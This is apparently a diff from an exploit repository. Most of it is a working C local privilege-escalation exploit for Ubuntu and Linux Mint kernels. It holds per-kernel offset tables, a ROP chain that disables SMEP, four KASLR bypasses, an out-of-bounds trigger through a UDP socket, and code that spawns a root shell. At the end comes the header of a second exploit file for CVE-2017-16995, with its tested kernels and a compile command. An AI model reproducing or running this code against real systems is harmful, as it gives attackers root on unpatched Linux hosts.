// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
|
||||
// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
|
||||
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
|
||||
// Used when ENABLE_SMEP_BYPASS is used.
|
||||
// - xchg eax, esp ; ret
|
||||
// - pop rdi ; ret
|
||||
// - mov dword ptr [rdi], eax ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
|
||||
// - neg rax ; ret
|
||||
// - pop rcx ; ret
|
||||
// - or rax, rcx ; ret
|
||||
// - xchg eax, edi ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
|
||||
// - jmp rcx
|
||||
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
|
||||
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
|
||||
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
|
||||
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
|
||||
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
|
||||
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
|
||||
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
|
||||
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
|
||||
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
|
||||
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
|
||||
|
||||
uint64_t saved_esp;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
call get_root \n\
|
||||
ret \n\
|
||||
" : : "m"(saved_esp) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
#define CHAIN_SAVE_ESP \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_esp; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define SMEP_MASK 0x100000
|
||||
|
||||
#define CHAIN_DISABLE_SMEP \
|
||||
*stack++ = MOV_RAX_CR4_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = SMEP_MASK; \
|
||||
*stack++ = OR_RAX_RCX_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = XCHG_EAX_EDI_RET; \
|
||||
*stack++ = MOV_CR4_RDI_RET;
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX;
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_aligned, stack_addr;
|
||||
int page_size, stack_size, stack_offset;
|
||||
uint64_t* stack;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
stack_addr = stack_aligned - page_size * 4;
|
||||
stack_size = page_size * 8;
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
|
||||
dprintf("[-] mmap()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
|
||||
|
||||
CHAIN_SAVE_ESP;
|
||||
CHAIN_DISABLE_SMEP;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_skb_buffer(char* buffer, unsigned long func) {
|
||||
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
|
||||
memset(ssi, 0, sizeof(*ssi));
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ssi->nr_frags = 0;
|
||||
ssi->frag_list = 0;
|
||||
|
||||
ui.callback = func;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define SHINFO_OFFSET 3164
|
||||
|
||||
void oob_execute(unsigned long payload) {
|
||||
char buffer[4096];
|
||||
memset(&buffer[0], 0x42, 4096);
|
||||
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
|
||||
|
||||
int s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(8000);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
if (connect(s, (void*)&addr, sizeof(addr))) {
|
||||
dprintf("[-] connect()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
|
||||
int rv = send(s, buffer, size, MSG_MORE);
|
||||
if (rv != size) {
|
||||
dprintf("[-] send()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int val = 1;
|
||||
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
|
||||
if (rv != 0) {
|
||||
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
send(s, buffer, 1, 0);
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define LSB_RELEASE_LENGTH 1024
|
||||
|
||||
void get_distro_codename(char* output, int max_length) {
|
||||
char buffer[LSB_RELEASE_LENGTH];
|
||||
char* path = "/etc/lsb-release";
|
||||
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
const char *needle = "DISTRIB_CODENAME=";
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL) {
|
||||
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
if (i >= max_length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if ((found - &buffer[0]) + needle_length + i >= length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define DISTRO_CODENAME_LENGTH 32
|
||||
|
||||
void detect_kernel() {
|
||||
char codename[DISTRO_CODENAME_LENGTH];
|
||||
struct utsname u;
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "14.04.1")) {
|
||||
strcpy(&codename[0], "trusty");
|
||||
} else if (strstr(u.version, "16.04.1")) {
|
||||
strcpy(&codename[0], "xenial");
|
||||
} else {
|
||||
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
|
||||
|
||||
// Linux Mint kernel release mappings
|
||||
if (!strcmp(&codename[0], "qiana"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rebecca"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rafaela"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rosa"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "sarah"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "serena"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "sonya"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
|
||||
strcmp(u.release, kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
if (rv >= 2) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#if !ENABLE_SMEP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strcmp("trusty", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
if (strcmp("xenial", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[!] unprivileged user namespaces are not available\n");
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_kernel();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
unsigned long payload = (unsigned long)&get_root;
|
||||
|
||||
#if ENABLE_SMEP_BYPASS
|
||||
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
|
||||
mmap_stack();
|
||||
payload = XCHG_EAX_ESP_RET;
|
||||
dprintf("[~] done, fake stack mmapped\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing payload %lx\n", payload);
|
||||
oob_execute(payload);
|
||||
dprintf("[~] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,496 @@
|
|||
/*
|
||||
Credit @bleidl, this is a slight modification to his original POC
|
||||
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
|
||||
|
||||
For details on how the exploit works, please visit
|
||||
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
|
||||
|
||||
Tested on Ubuntu 16.04 with the following Kernels
|
||||
4.4.0-31-generic
|
||||
4.4.0-62-generic
|
||||
4.4.0-81-generic
|
||||
4.4.0-116-generic
|
||||
4.8.0-58-generic
|
||||
4.10.0.42-generic
|
||||
4.13.0-21-generic
|
||||
|
||||
Tested on Fedora 27
|
||||
4.13.9-300
|
||||
gcc cve-2017-16995.c -o cve-2017-16995
|
||||
